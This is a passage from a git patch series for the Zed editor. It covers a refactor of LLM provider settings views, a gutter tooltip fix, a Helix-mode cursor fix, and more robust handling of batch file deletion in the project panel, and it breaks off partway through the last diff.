-        let env_var_set = self.state.read(cx).api_key_state.is_from_env_var();
-        let configured_card_label = if env_var_set {
-            format!("API key set in {API_KEY_ENV_VAR_NAME} environment variable")
-        } else {
-            let api_url = XAiLanguageModelProvider::api_url(cx);
-            if api_url == XAI_API_URL {
-                "API key configured".to_string()
-            } else {
-                format!("API key configured for {}", api_url)
-            }
-        };
-
-        let api_key_section = if self.should_render_editor(cx) {
-            v_flex()
-                .on_action(cx.listener(Self::save_api_key))
-                .child(Label::new("To use Zed's agent with xAI, you need to add an API key. Follow these steps:"))
-                .child(
-                    List::new()
-                        .child(
-                            ListBulletItem::new("")
-                                .child(Label::new("Create one by visiting"))
-                                .child(ButtonLink::new("xAI console", "https://console.x.ai/team/default/api-keys"))
-                        )
-                        .child(
-                            ListBulletItem::new("Paste your API key below and hit enter to start using the agent")
-                        ),
-                )
-                .child(self.api_key_editor.clone())
-                .child(
-                    Label::new(format!(
-                        "You can also set the {API_KEY_ENV_VAR_NAME} environment variable and restart Zed."
-                    ))
-                    .size(LabelSize::Small)
-                    .color(Color::Muted),
-                )
-                .child(
-                    Label::new("Note that xAI is a custom OpenAI-compatible provider.")
-                        .size(LabelSize::Small)
-                        .color(Color::Muted),
-                )
-                .into_any_element()
-        } else {
-            ConfiguredApiCard::new("xai-reset-key", configured_card_label)
-                .disabled(env_var_set)
-                .when(env_var_set, |this| {
-                    this.tooltip_label(format!("To reset your API key, unset the {API_KEY_ENV_VAR_NAME} environment variable."))
-                })
-                .on_click(cx.listener(|this, _, window, cx| this.reset_api_key(window, cx)))
-                .into_any_element()
-        };
-
-        if self.load_credentials_task.is_some() {
-            div().child(Label::new("Loading credentials…")).into_any()
-        } else {
-            v_flex().size_full().child(api_key_section).into_any()
-        }
-    }
-}
diff --git a/crates/settings_ui/src/pages/llm_providers_page.rs b/crates/settings_ui/src/pages/llm_providers_page.rs
index f888b031eb8f1b..bac9b7abb06ed9 100644
--- a/crates/settings_ui/src/pages/llm_providers_page.rs
+++ b/crates/settings_ui/src/pages/llm_providers_page.rs
@@ -3,9 +3,8 @@ use std::{collections::HashSet, sync::Arc};
 use editor::Editor;
 use gpui::{AnyView, Entity, Focusable as _, ScrollHandle, prelude::*};
 use language_model::{
-    ApiKeyConfiguration, ConfigurationViewTargetAgent, IconOrSvg, InlineDescription,
-    LanguageModelProvider, LanguageModelProviderId, LanguageModelRegistry,
-    ProviderConfigurationView,
+    ApiKeyConfiguration, CreateProviderSettingsView, IconOrSvg, InlineDescription,
+    LanguageModelProvider, LanguageModelProviderId, LanguageModelRegistry, ProviderSettingsView,
 };
 
 use settings::{
@@ -149,14 +148,29 @@ fn render_provider_section(
     let provider_id = provider.id();
     let provider_name = provider.name().0;
 
-    let body = if let Some(config) = provider.api_key_configuration(cx) {
-        render_api_key_providers_item(settings_window, provider, provider_name.clone(), config, cx)
-    } else {
-        match get_or_create_configuration_view(settings_window, &provider_id, provider, window, cx)
-        {
-            ProviderConfigurationView::Inline { view } => render_inline_body(provider, view, cx),
-            ProviderConfigurationView::SubPage(_) => render_subpage_item(provider, cx),
+    let body = match provider.settings_view(cx) {
+        Some(ProviderSettingsView::ApiKey(config)) => {
+            render_api_key_providers_item(provider, provider_name.clone(), config, cx)
         }
+        Some(ProviderSettingsView::Inline(settings)) => {
+            let view = get_or_create_configuration_view(
+                settings_window,
+                &provider_id,
+                settings.create_view,
+                window,
+                cx,
+            );
+            render_inline_body(
+                provider_name.clone(),
+                settings.title,
+                settings.description,
+                view,
+            )
+        }
+        Some(ProviderSettingsView::SubPage(settings)) => {
+            render_subpage_item(provider, settings.description, cx)
+        }
+        None => div().into_any_element(),
     };
 
     v_flex()
@@ -196,18 +210,16 @@ fn render_provider_header(
 }
 
 fn render_api_key_providers_item(
-    _settings_window: &SettingsWindow,
     provider: &Arc<dyn LanguageModelProvider>,
     provider_name: SharedString,
     config: ApiKeyConfiguration,
     _cx: &mut Context<SettingsWindow>,
 ) -> AnyElement {
-    let ApiKeyConfiguration {
-        has_key,
-        is_from_env_var,
-        env_var_name,
-        api_key_url,
-    } = config;
+    let provider_id = provider.id();
+    let has_key = config.has_key;
+    let is_from_env_var = config.is_from_env_var;
+    let env_var_name = config.env_var_name;
+    let api_key_url = config.api_key_url;
 
     if has_key {
         let configured_label = if is_from_env_var {
@@ -215,7 +227,7 @@ fn render_api_key_providers_item(
         } else {
             "API Key Configured"
         };
-        let button_id = format!("reset-api-key-{}", provider.id().0);
+        let button_id = format!("reset-api-key-{}", provider_id.0);
 
         let card = ConfiguredApiCard::new(button_id, configured_label)
             .button_label("Reset Key")
@@ -229,7 +241,7 @@ fn render_api_key_providers_item(
             .on_click({
                 let provider = provider.clone();
                 move |_, _, cx| {
-                    provider.reset_credentials(cx).detach_and_log_err(cx);
+                    provider.set_api_key(None, cx).detach_and_log_err(cx);
                 }
             })
             .into_any_element();
@@ -237,7 +249,7 @@ fn render_api_key_providers_item(
         return v_flex().gap_2().child(card).into_any_element();
     }
 
-    let input_id = format!("{}-api-key-input", provider.id().0);
+    let input_id = format!("{}-api-key-input", provider_id.0);
     let aria_label = format!("{provider_name} API Key");
 
     v_flex()
@@ -299,7 +311,7 @@ fn render_api_key_providers_item(
                             let provider = provider.clone();
                             move |api_key, _window, cx| {
                                 if let Some(key) = api_key.filter(|key| !key.is_empty()) {
-                                    provider.set_api_key(key, cx).detach_and_log_err(cx);
+                                    provider.set_api_key(Some(key), cx).detach_and_log_err(cx);
                                 }
                             }
                         }),
@@ -309,14 +321,11 @@ fn render_api_key_providers_item(
 }
 
 fn render_inline_body(
-    provider: &Arc<dyn LanguageModelProvider>,
+    provider_name: SharedString,
+    title: Option<SharedString>,
+    description: Option<InlineDescription>,
     view: AnyView,
-    cx: &mut Context<SettingsWindow>,
 ) -> AnyElement {
-    let provider_name = provider.name().0;
-    let title = provider.inline_title(cx);
-    let description = provider.inline_description(cx);
-
     if title.is_none() && description.is_none() {
         return v_flex()
             .pt_1()
@@ -348,11 +357,11 @@ fn render_inline_body(
 
 fn render_subpage_item(
     provider: &Arc<dyn LanguageModelProvider>,
+    description: Option<InlineDescription>,
     cx: &mut Context<SettingsWindow>,
 ) -> AnyElement {
     let provider_id = provider.id();
     let provider_name = provider.name().0;
-    let description = provider.inline_description(cx);
 
     h_flex()
         .pt_2p5()
@@ -449,18 +458,19 @@ fn render_provider_config_sub_page(
         return div().into_any_element();
     };
 
-    // A provider routed to a sub-page always provides a `SubPage` view; fall
-    // back to whatever view it returns otherwise.
-    let view = match get_or_create_configuration_view(
-        settings_window,
-        &provider_id,
-        &provider,
-        window,
-        cx,
-    ) {
-        ProviderConfigurationView::Inline { view, .. }
-        | ProviderConfigurationView::SubPage(view) => view,
+    let Some(create_view) =
+        provider
+            .settings_view(cx)
+            .and_then(|settings_view| match settings_view {
+                ProviderSettingsView::Inline(settings) => Some(settings.create_view),
+                ProviderSettingsView::SubPage(settings) => Some(settings.create_view),
+                ProviderSettingsView::ApiKey(_) => None,
+            })
+    else {
+        return div().into_any_element();
     };
+    let view =
+        get_or_create_configuration_view(settings_window, &provider_id, create_view, window, cx);
 
     v_flex()
         .id("provider-config-sub-page")
@@ -477,10 +487,10 @@ fn render_provider_config_sub_page(
 fn get_or_create_configuration_view(
     settings_window: &SettingsWindow,
     provider_id: &LanguageModelProviderId,
-    provider: &Arc<dyn LanguageModelProvider>,
+    create_view: CreateProviderSettingsView,
     window: &mut Window,
     cx: &mut Context<SettingsWindow>,
-) -> ProviderConfigurationView {
+) -> AnyView {
     if let Some(view) = settings_window
         .provider_configuration_views
         .get(provider_id)
@@ -488,7 +498,7 @@ fn get_or_create_configuration_view(
         return view.clone();
     }
 
-    let view = provider.configuration_view_v2(ConfigurationViewTargetAgent::ZedAgent, window, cx);
+    let view = create_view(window, cx);
 
     // Store the view for future renders by deferring a mutation
     let provider_id = provider_id.clone();
@@ -1146,7 +1156,7 @@ fn save_llm_provider_form(
                 let provider = LanguageModelRegistry::read_global(cx)
                     .provider(&provider_id)
                     .ok_or_else(|| anyhow::anyhow!("Provider was not registered"))?;
-                anyhow::Ok(provider.set_api_key(api_key, cx))
+                anyhow::Ok(provider.set_api_key(Some(api_key), cx))
             })??;
             set_api_key.await?;
 
diff --git a/crates/settings_ui/src/settings_ui.rs b/crates/settings_ui/src/settings_ui.rs
index 34a2ac271d494e..35f816d649b0ed 100644
--- a/crates/settings_ui/src/settings_ui.rs
+++ b/crates/settings_ui/src/settings_ui.rs
@@ -948,10 +948,9 @@ pub struct SettingsWindow {
     pub(crate) regex_validation_error: Option<String>,
     pub(crate) sandbox_host_validation_error: Option<String>,
     last_copied_link_path: Option<&'static str>,
-    /// Cached configuration views per provider, created lazily. Holds the
-    /// provider's chosen presentation ([`Inline`] or [`SubPage`]).
+    /// Cached configuration views per provider, created lazily.
     pub(crate) provider_configuration_views:
-        HashMap<language_model::LanguageModelProviderId, language_model::ProviderConfigurationView>,
+        HashMap<language_model::LanguageModelProviderId, gpui::AnyView>,
     /// The provider whose configuration sub-page is currently open, if any.
     pub(crate) configuring_provider: Option<language_model::LanguageModelProviderId>,
     /// Directory path of the skill whose share link was most recently copied,
diff --git a/crates/zed_actions/src/lib.rs b/crates/zed_actions/src/lib.rs
index 9d47f2724064f7..8b2d0d45df7ee5 100644
--- a/crates/zed_actions/src/lib.rs
+++ b/crates/zed_actions/src/lib.rs
@@ -539,7 +539,7 @@ pub mod agent {
     actions!(
         agent,
         [
-            /// Opens the agent settings panel.
+            /// Opens the agent settings UI.
             #[action(deprecated_aliases = ["agent::OpenConfiguration"])]
             OpenSettings,
             /// Opens the agent onboarding modal.

From e1ec575d3f78968c8cbc4168cdda40cac5e2aa8c Mon Sep 17 00:00:00 2001
From: saberoueslati <saberoueslati12@gmail.com>
Date: Thu, 2 Jul 2026 15:38:04 +0100
Subject: [PATCH 223/772] editor: Update gutter hover tooltip on modifier
 changes (#58880)

## Context

The gutter hover button can represent either adding a breakpoint or
adding a bookmark depending on whether the secondary modifier is
pressed. Previously, the visible tooltip did not update when the
modifier changed while the popover was already open. This moves the
gutter hover intent into a shared state used by both the button and
tooltip, so the label, metadata, icon, color, click action, and
displayed keybinding all stay in sync.

Closes #58821

## How to Review

`crates/editor/src/editor.rs` adds a shared gutter hover intent type and
a custom tooltip view that reads the current modifier state while
rendering. Review that bookmark and breakpoint behavior map consistently
across the button icon/color, click action, tooltip label, metadata, and
keybinding.

`crates/editor/src/editor_tests.rs` adds a regression test covering the
tooltip intent selection with and without the secondary modifier.

Manual test after the fix below :

[Screencast from 2026-06-09
01-30-23.webm](https://github.com/user-attachments/assets/ef465eb9-e659-44da-93a6-a511c84e9401)

## Self-Review Checklist

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the UI/UX checklist
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Fixed the breakpoint/bookmark gutter popover not updating when
modifier keys change.

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
---
 crates/editor/src/editor.rs       | 168 +++++++++++++++++++-----------
 crates/editor/src/editor_tests.rs |  39 +++++++
 2 files changed, 147 insertions(+), 60 deletions(-)

diff --git a/crates/editor/src/editor.rs b/crates/editor/src/editor.rs
index 36b5209a5c0530..913ab20c4c1f19 100644
--- a/crates/editor/src/editor.rs
+++ b/crates/editor/src/editor.rs
@@ -254,9 +254,8 @@ use theme::{
 };
 use theme_settings::{ThemeSettings, observe_buffer_font_size_adjustment};
 use ui::{
-    Avatar, ButtonSize, ButtonStyle, ContextMenu, Disclosure, IconButton, IconButtonShape,
-    IconName, IconSize, Indicator, Key, Tooltip, h_flex, prelude::*, scrollbars::ScrollbarAutoHide,
-    utils::WithRemSize,
+    Avatar, ContextMenu, Disclosure, IconButtonShape, Indicator, Key, KeyBinding, Tooltip,
+    prelude::*, scrollbars::ScrollbarAutoHide, tooltip_container, utils::WithRemSize,
 };
 use ui_input::ErasedEditor;
 use util::{RangeExt, ResultExt, TryFutureExt, maybe, post_inc};
@@ -1637,6 +1636,97 @@ pub struct RewrapOptions {
     pub line_length: Option<usize>,
 }
 
+#[derive(Clone, Copy, Debug, PartialEq, Eq)]
+enum GutterButtonIntent {
+    SetBookmark,
+    SetBreakpoint,
+}
+
+impl GutterButtonIntent {
+    fn as_str(&self) -> &'static str {
+        match self {
+            Self::SetBookmark => "Set Bookmark",
+            Self::SetBreakpoint => "Set Breakpoint",
+        }
+    }
+
+    fn icon(&self) -> ui::IconName {
+        match self {
+            Self::SetBookmark => ui::IconName::Bookmark,
+            Self::SetBreakpoint => ui::IconName::DebugBreakpoint,
+        }
+    }
+
+    fn color(&self) -> Color {
+        match self {
+            Self::SetBookmark => Color::Info,
+            Self::SetBreakpoint => Color::Hint,
+        }
+    }
+
+    fn action(&self) -> &'static dyn Action {
+        match self {
+            Self::SetBookmark => &ToggleBookmark,
+            Self::SetBreakpoint => &ToggleBreakpoint,
+        }
+    }
+}
+
+struct GutterButtonTooltip {
+    primary: GutterButtonIntent,
+    secondary: GutterButtonIntent,
+    focus_handle: FocusHandle,
+}
+
+impl GutterButtonTooltip {
+    fn active_intent(&self, modifiers: Modifiers) -> GutterButtonIntent {
+        if modifiers.secondary() {
+            self.secondary
+        } else {
+            self.primary
+        }
+    }
+
+    fn meta_text(&self, intent: GutterButtonIntent) -> String {
+        const RIGHT_CLICK_HINT: &str = "right-click for more options";
+
+        if self.primary == self.secondary {
+            return RIGHT_CLICK_HINT.to_string();
+        }
+        let modifier_as_text = gpui::Keystroke {
+            modifiers: Modifiers::secondary_key(),
+            ..Default::default()
+        };
+        let other = match intent {
+            GutterButtonIntent::SetBookmark => "breakpoint",
+            GutterButtonIntent::SetBreakpoint => "bookmark",
+        };
+        format!("{modifier_as_text}-click to add a {other}\n{RIGHT_CLICK_HINT}")
+    }
+}
+
+impl Render for GutterButtonTooltip {
+    fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
+        let intent = self.active_intent(window.modifiers());
+        let key_binding = KeyBinding::for_action_in(intent.action(), &self.focus_handle, cx);
+        let meta_text = self.meta_text(intent);
+
+        tooltip_container(cx, move |this, _| {
+            this.child(
+                h_flex()
+                    .justify_between()
+                    .child(intent.as_str())
+                    .child(key_binding),
+            )
+            .child(
+                Label::new(meta_text)
+                    .size(LabelSize::Small)
+                    .color(Color::Muted),
+            )
+        })
+    }
+}
+
 impl Editor {
     pub fn single_line(window: &mut Window, cx: &mut Context<Self>) -> Self {
         let buffer = cx.new(|cx| Buffer::local("", cx));
@@ -4404,61 +4494,20 @@ impl Editor {
         window: &mut Window,
         cx: &mut Context<Self>,
     ) -> IconButton {
-        #[derive(Clone, Copy)]
-        enum Intent {
-            SetBookmark,
-            SetBreakpoint,
-        }
-
-        impl Intent {
-            fn as_str(&self) -> &'static str {
-                match self {
-                    Intent::SetBookmark => "Set bookmark",
-                    Intent::SetBreakpoint => "Set breakpoint",
-                }
-            }
-
-            fn icon(&self) -> ui::IconName {
-                match self {
-                    Intent::SetBookmark => ui::IconName::Bookmark,
-                    Intent::SetBreakpoint => ui::IconName::DebugBreakpoint,
-                }
-            }
-
-            fn color(&self) -> Color {
-                match self {
-                    Intent::SetBookmark => Color::Info,
-                    Intent::SetBreakpoint => Color::Hint,
-                }
-            }
-
-            fn secondary_and_options(&self) -> String {
-                let alt_as_text = gpui::Keystroke {
-                    modifiers: Modifiers::secondary_key(),
-                    ..Default::default()
-                };
-                match self {
-                    Intent::SetBookmark => format!(
-                        "{alt_as_text}-click to add a breakpoint\nright-click for more options"
-                    ),
-                    Intent::SetBreakpoint => format!(
-                        "{alt_as_text}-click to add a bookmark\nright-click for more options"
-                    ),
-                }
-            }
-        }
-
         let gutter_settings = EditorSettings::get_global(cx).gutter;
         let show_bookmarks = self.show_bookmarks.unwrap_or(gutter_settings.bookmarks);
         let show_breakpoints = self.show_breakpoints.unwrap_or(gutter_settings.breakpoints);
 
         let [primary, secondary] = match [show_breakpoints, show_bookmarks] {
-            [true, true] => [Intent::SetBreakpoint, Intent::SetBookmark],
-            [true, false] => [Intent::SetBreakpoint; 2],
-            [false, true] => [Intent::SetBookmark; 2],
+            [true, true] => [
+                GutterButtonIntent::SetBreakpoint,
+                GutterButtonIntent::SetBookmark,
+            ],
+            [true, false] => [GutterButtonIntent::SetBreakpoint; 2],
+            [false, true] => [GutterButtonIntent::SetBookmark; 2],
             [false, false] => {
                 log::error!("Trying to place gutter_hover without anything enabled!!");
-                [Intent::SetBookmark; 2]
+                [GutterButtonIntent::SetBookmark; 2]
             }
         };
 
@@ -4485,8 +4534,8 @@ impl Editor {
                     };
 
                     match intent {
-                        Intent::SetBookmark => editor.toggle_bookmark_at_row(row, cx),
-                        Intent::SetBreakpoint => editor.edit_breakpoint_at_anchor(
+                        GutterButtonIntent::SetBookmark => editor.toggle_bookmark_at_row(row, cx),
+                        GutterButtonIntent::SetBreakpoint => editor.edit_breakpoint_at_anchor(
                             position,
                             Breakpoint::new_standard(),
                             BreakpointEditAction::Toggle,
@@ -4500,13 +4549,12 @@ impl Editor {
             }))
             .when(!has_context_menu, |button| {
                 button.tooltip(move |_window, cx| {
-                    Tooltip::with_meta_in(
-                        intent.as_str(),
-                        Some(&ToggleBreakpoint),
-                        intent.secondary_and_options(),
-                        &focus_handle,
-                        cx,
-                    )
+                    cx.new(|_| GutterButtonTooltip {
+                        primary,
+                        secondary,
+                        focus_handle: focus_handle.clone(),
+                    })
+                    .into()
                 })
             })
     }
diff --git a/crates/editor/src/editor_tests.rs b/crates/editor/src/editor_tests.rs
index 4acdae8d2810bd..181a4d447ba72f 100644
--- a/crates/editor/src/editor_tests.rs
+++ b/crates/editor/src/editor_tests.rs
@@ -28678,6 +28678,45 @@ fn add_log_breakpoint_at_cursor(
     );
 }
 
+#[gpui::test]
+fn test_gutter_button_tooltip_updates_intent_with_secondary_modifier(cx: &mut TestAppContext) {
+    init_test(cx, |_| {});
+
+    let focus_handle = cx.update(|cx| cx.focus_handle());
+    let tooltip = GutterButtonTooltip {
+        primary: GutterButtonIntent::SetBreakpoint,
+        secondary: GutterButtonIntent::SetBookmark,
+        focus_handle,
+    };
+
+    let primary_intent = tooltip.active_intent(Modifiers::none());
+    assert_eq!(primary_intent, GutterButtonIntent::SetBreakpoint);
+    assert!(primary_intent.action().as_any().is::<ToggleBreakpoint>());
+
+    let secondary_intent = tooltip.active_intent(Modifiers::secondary_key());
+    assert_eq!(secondary_intent, GutterButtonIntent::SetBookmark);
+    assert!(secondary_intent.action().as_any().is::<ToggleBookmark>());
+
+    // When both features are enabled, the meta text advertises the
+    // modifier-click alternative.
+    let meta = tooltip.meta_text(primary_intent);
+    assert!(meta.contains("-click to add a bookmark"), "got: {meta}");
+    assert!(meta.contains("right-click for more options"));
+    let meta = tooltip.meta_text(secondary_intent);
+    assert!(meta.contains("-click to add a breakpoint"), "got: {meta}");
+
+    // When only one feature is enabled (primary == secondary), a
+    // modifier-click repeats the primary action, so the tooltip must not
+    // advertise it.
+    let single_feature_tooltip = GutterButtonTooltip {
+        primary: GutterButtonIntent::SetBreakpoint,
+        secondary: GutterButtonIntent::SetBreakpoint,
+        focus_handle: tooltip.focus_handle,
+    };
+    let meta = single_feature_tooltip.meta_text(GutterButtonIntent::SetBreakpoint);
+    assert_eq!(meta, "right-click for more options");
+}
+
 #[gpui::test]
 async fn test_breakpoint_toggling(cx: &mut TestAppContext) {
     init_test(cx, |_| {});

From 27a9e2057b71ef84a1dbe06fc51ac04c62f420d4 Mon Sep 17 00:00:00 2001
From: Ibrahim Khan <2005ibrahimkhan@gmail.com>
Date: Thu, 2 Jul 2026 08:38:22 -0700
Subject: [PATCH 224/772] vim: Fix Helix cursor position when deleting to end
 of line (#59987)

## Why / What

Fixes #58702.

In Helix mode the block cursor is a one-character selection that can
rest on the
trailing newline at the end of a line. When you select to the end of a
line
(excluding the newline) and press `d`, Helix leaves the cursor on the
newline.
Zed instead clamped the cursor onto the character immediately to the
left of the
deleted selection.

The shared `visual_delete` always re-clipped the post-deletion cursor at
line
ends (`set_clip_at_line_ends(true)`), which is correct for Vim normal
mode but
contradicts Helix mode, where `Vim::clip_at_line_ends()` is `false`.
This also
made Helix inconsistent with itself: deleting a whole line left the
cursor on the
newline, but deleting to the end of a non-empty line clamped it onto the
previous
character. The fix honors the active mode's clip policy, so Helix keeps
the
cursor on the newline.

## Testing

- Added `test_delete_to_end_of_line_keeps_cursor_on_newline` reproducing
#58702.
- Corrected `test_helix_select_end_of_line`; its mid-line assertion had
captured
the pre-fix (clamped) cursor position. Its whole-line assertion already
expected the cursor on the newline, so the test is now internally
consistent.
- `cargo test -p vim`: 540 passed, 0 failed.
- Vim visual-mode delete is unchanged (`is_helix()` is false for Vim
modes).

Release Notes:

- Fixed Helix mode placing the cursor on the wrong character after
deleting a selection that ends at the end of a line.

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 crates/vim/src/helix.rs  | 31 ++++++++++++++++++++++++++++---
 crates/vim/src/visual.rs |  5 +++--
 2 files changed, 31 insertions(+), 5 deletions(-)

diff --git a/crates/vim/src/helix.rs b/crates/vim/src/helix.rs
index 2642221b31cd80..79c65b227bb942 100644
--- a/crates/vim/src/helix.rs
+++ b/crates/vim/src/helix.rs
@@ -2341,6 +2341,31 @@ mod test {
         );
     }
 
+    // Deleting a selection that ends at the last non-newline character should
+    // leave the cursor on the newline (matching Helix), not clamp it onto the
+    // character to the left of the selection.
+    #[gpui::test]
+    async fn test_delete_to_end_of_line_keeps_cursor_on_newline(cx: &mut gpui::TestAppContext) {
+        let mut cx = VimTestContext::new(cx, true).await;
+        cx.enable_helix();
+
+        cx.set_state(
+            indoc! {"
+            ab«cdefgˇ»
+            hij"},
+            Mode::HelixNormal,
+        );
+
+        cx.simulate_keystrokes("d");
+
+        cx.assert_state(
+            indoc! {"
+            abˇ
+            hij"},
+            Mode::HelixNormal,
+        );
+    }
+
     // #[gpui::test]
     // async fn test_delete_character_end_of_buffer(cx: &mut gpui::TestAppContext) {
     //     let mut cx = VimTestContext::new(cx, true).await;
@@ -2985,11 +3010,11 @@ mod test {
         cx.simulate_keystrokes("v g l d");
         cx.assert_state("ˇ\nfox jumps over", Mode::HelixNormal);
 
-        // same from the middle of a line — cursor lands on the last
-        // remaining character (the space) after delete
+        // same from the middle of a line — the cursor rests on the trailing
+        // newline, matching Helix and the whole-line case above.
         cx.set_state("The ˇquick brown\nfox jumps over", Mode::HelixNormal);
         cx.simulate_keystrokes("v g l d");
-        cx.assert_state("Theˇ \nfox jumps over", Mode::HelixNormal);
+        cx.assert_state("The ˇ\nfox jumps over", Mode::HelixNormal);
     }
 
     #[gpui::test]
diff --git a/crates/vim/src/visual.rs b/crates/vim/src/visual.rs
index e715e98a655d07..e9c3f22c23cd50 100644
--- a/crates/vim/src/visual.rs
+++ b/crates/vim/src/visual.rs
@@ -695,8 +695,9 @@ impl Vim {
                 }
                 editor.delete_selections_with_linked_edits(window, cx);
 
-                // Fixup cursor position after the deletion
-                editor.set_clip_at_line_ends(true, cx);
+                // Fixup cursor position after the deletion. Helix keeps the
+                // cursor on the trailing newline, so only clip in Vim modes.
+                editor.set_clip_at_line_ends(!vim.mode.is_helix(), cx);
                 editor.change_selections(Default::default(), window, cx, |s| {
                     s.move_with(&mut |map, selection| {
                         let mut cursor = selection.head().to_point(map);

From 31fc9d5f4710e30a4908525f6f0b930fce71e6f6 Mon Sep 17 00:00:00 2001
From: justinschmitz97 <68192785+justinschmitz97@users.noreply.github.com>
Date: Thu, 2 Jul 2026 18:04:53 +0200
Subject: [PATCH 225/772] project_panel: Continue batch delete when individual
 entries fail (#59595)

## Summary

On Windows, `trash::delete_with_info` can return an error even when the
file was successfully moved to the Recycle Bin.

This is caused by a race condition in the `trash` crate: after
`IFileOperation::PerformOperations` completes, it re-binds the trashed
item via `SHCreateItemFromParsingName` to read its metadata, but the
shell's virtual namespace cache may not yet reflect the new item,
producing an error. Previously, the delete loop propagated this error
and aborted the entire batch. The outer `detach_and_log_err` swallowed
the error, so the user received no feedback.

This PR handles each entry independently: entries that fail to delete
are skipped, the loop continues, and undo history is recorded for the
entries that succeeded.

The upstream root cause (the post-operation re-bind race in
`zed-industries/trash-rs`) will be addressed separately.

Before:


https://github.com/user-attachments/assets/59a95ac5-098b-42dc-bffb-f3240c6b966d

After:


https://github.com/user-attachments/assets/0cd6c0b3-2ee3-4bf2-a243-3e8a83d05dd7



## Test plan

- [ ] Select multiple files in the project panel on Windows
- [ ] Trash them (right-click > Move to Trash, or `Delete` key)
- [ ] Confirm all selected files are deleted, even if one triggers the
trash-crate race
- [ ] Undo restores the files that were successfully trashed

Release Notes:

- Improved handling of failed trash or delete operations in the Project
Panel in order to display a toast informing the user that some files
could not be trashed or deleted

---------

Co-authored-by: dino <dinojoaocosta@gmail.com>
---
 Cargo.lock                                |   1 +
 crates/fs/src/fs.rs                       |  20 +++-
 crates/project_panel/Cargo.toml           |   1 +
 crates/project_panel/src/project_panel.rs | 107 +++++++++++++++++++---
 crates/project_panel/src/tests/undo.rs    |  22 +++++
 5 files changed, 134 insertions(+), 17 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 920c4e48122b2d..bc57517ab75020 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -14091,6 +14091,7 @@ dependencies = [
  "gpui",
  "itertools 0.14.0",
  "language",
+ "log",
  "markdown_preview",
  "menu",
  "notifications",
diff --git a/crates/fs/src/fs.rs b/crates/fs/src/fs.rs
index 746c45d9f826ce..4c4a39122630e9 100644
--- a/crates/fs/src/fs.rs
+++ b/crates/fs/src/fs.rs
@@ -2397,7 +2397,18 @@ impl FakeFs {
         self.state
             .lock()
             .remove_dir_errors
-            .insert(normalize_path(path.as_ref()), message);
+            .insert(Self::remove_dir_error_key(path.as_ref()), message);
+    }
+
+    /// Entry resolution in `try_entry` ignores drive prefixes, so the error
+    /// injection map must too.
+    /// Otherwise, on Windows, a key like `C:\workspace\dir` would never match a
+    /// lookup for `\workspace\dir`.
+    fn remove_dir_error_key(path: &Path) -> PathBuf {
+        normalize_path(path)
+            .components()
+            .skip_while(|component| matches!(component, Component::Prefix(_)))
+            .collect()
     }
 
     pub fn paths(&self, include_dot_git: bool) -> Vec<PathBuf> {
@@ -2542,7 +2553,12 @@ impl FakeFs {
         self.simulate_random_delay().await;
 
         let path = normalize_path(path);
-        if let Some(message) = self.state.lock().remove_dir_errors.get(&path) {
+        if let Some(message) = self
+            .state
+            .lock()
+            .remove_dir_errors
+            .get(&Self::remove_dir_error_key(&path))
+        {
             anyhow::bail!("{message}");
         }
         let parent_path = path.parent().context("cannot remove the root")?;
diff --git a/crates/project_panel/Cargo.toml b/crates/project_panel/Cargo.toml
index eac58314f08a70..89e97ee9c78902 100644
--- a/crates/project_panel/Cargo.toml
+++ b/crates/project_panel/Cargo.toml
@@ -51,6 +51,7 @@ telemetry.workspace = true
 notifications.workspace = true
 feature_flags.workspace = true
 fs.workspace = true
+log.workspace = true
 
 [dev-dependencies]
 client = { workspace = true, features = ["test-support"] }
diff --git a/crates/project_panel/src/project_panel.rs b/crates/project_panel/src/project_panel.rs
index 059f068507842d..bf3b33efc725c2 100644
--- a/crates/project_panel/src/project_panel.rs
+++ b/crates/project_panel/src/project_panel.rs
@@ -640,6 +640,16 @@ fn get_item_color(is_sticky: bool, cx: &App) -> ItemColors {
     }
 }
 
+enum DeleteEntryOutcome {
+    /// Entry was successfully trashed, returning the `Change` that can be
+    /// recorded to the undo stack.
+    Trashed(Change),
+    /// Entry was successfully deleted, or there was nothing to delete.
+    Deleted,
+    /// Deleting or trashing the entry failed at the OS level.
+    Failed,
+}
+
 impl ProjectPanel {
     fn new(
         workspace: &mut Workspace,
@@ -2062,6 +2072,32 @@ impl ProjectPanel {
         }))
     }
 
+    async fn resolve_delete_entry(
+        task: Option<Task<Result<Option<fs::TrashedEntry>>>>,
+        worktree_id: WorktreeId,
+        trash: bool,
+    ) -> DeleteEntryOutcome {
+        let Some(task) = task else {
+            // If there's no task to be awaited on, it means that the entry, or
+            // worktree, were likely already deleted.
+            return DeleteEntryOutcome::Deleted;
+        };
+
+        match task.await {
+            Ok(Some(trashed_entry)) if trash => {
+                DeleteEntryOutcome::Trashed(Change::Trashed(worktree_id, trashed_entry))
+            }
+            Err(err) => {
+                log::error!(
+                    "Failed to {} an entry: {err:#}",
+                    if trash { "trash" } else { "delete" }
+                );
+                DeleteEntryOutcome::Failed
+            }
+            Ok(_) => DeleteEntryOutcome::Deleted,
+        }
+    }
+
     fn discard_edit_state(&mut self, window: &mut Window, cx: &mut Context<Self>) {
         if let Some(edit_state) = self.state.edit_state.take() {
             self.state.temporarily_unfolded_pending_state = edit_state
@@ -2621,29 +2657,37 @@ impl ProjectPanel {
                 }
 
                 let mut changes = Vec::new();
+                let total_count = file_paths.len();
+                let mut failed_count = 0;
+
+                let tasks = panel.update(cx, |panel, cx| {
+                    panel.project.update(cx, |project, cx| {
+                        file_paths
+                            .into_iter()
+                            .map(|(entry_id, worktree_id, _)| {
+                                (worktree_id, project.delete_entry(entry_id, trash, cx))
+                            })
+                            .collect::<Vec<_>>()
+                    })
+                })?;
 
-                for (entry_id, worktree_id, _) in file_paths {
-                    let trashed_entry = panel
-                        .update(cx, |panel, cx| {
-                            panel
-                                .project
-                                .update(cx, |project, cx| project.delete_entry(entry_id, trash, cx))
-                                .context("no such entry")
-                        })??
-                        .await?;
-
-                    // Keep track of trashed change so that we can then record
-                    // all of the changes at once, such that undoing and redoing
-                    // restores or trashes all files in batch.
-                    if trash && let Some(trashed_entry) = trashed_entry {
